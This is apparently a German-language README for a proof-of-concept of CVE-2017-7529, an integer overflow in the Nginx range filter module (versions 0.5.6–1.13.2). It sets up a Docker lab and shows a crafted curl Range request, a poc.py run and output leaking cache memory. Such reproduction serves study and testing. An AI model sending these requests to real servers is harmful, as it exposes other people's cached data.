
Nginx (Version 0.5.6 - 1.13.2) Remote-Integer-Überlauf
Nginx-Versionen von 0.5.6 bis einschließlich 1.13.2 sind anfällig für eine Integer-Overflow-Schwachstelle im Nginx-Range-Filter-Modul, die zu einem Leck potenziell sensibler Informationen führt, ausgelöst durch eine speziell gestaltete Anfrage. Quelle: https://nvd.nist.gov/vuln/detail/CVE-2017-7529
In anderen offenen Quellen findet man möglicherweise die Information, dass diese Schwachstelle nur mit Apache2 und nur mit Bilddateien reproduziert werden kann, aber das ist nicht der Fall. Diese Schwachstelle funktioniert mit jeder Anwendung, die über Nginx als Proxy betrieben wird. Die Hauptsache ist, dass der Server den Header Accept-Ranges: bytes zurückgibt. Er kann manuell zur Nginx-Konfiguration hinzugefügt werden: proxy_force_ranges on;
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529
Sende eine GET-Anfrage, um die Content-Length zu erhalten, und speichere die Antwort im Cache.
Sende die Anfrage erneut mit dem Range-Header und dem Bereich -n,-(0x8000000000000000-n).
$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -
Oder verwende das Skript poc.py.
$ python3 poc.py http://localhost:8000/ 513
Ergebnis:
[+] Vulnerable to CVE-2017-7529
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20
MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT
<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20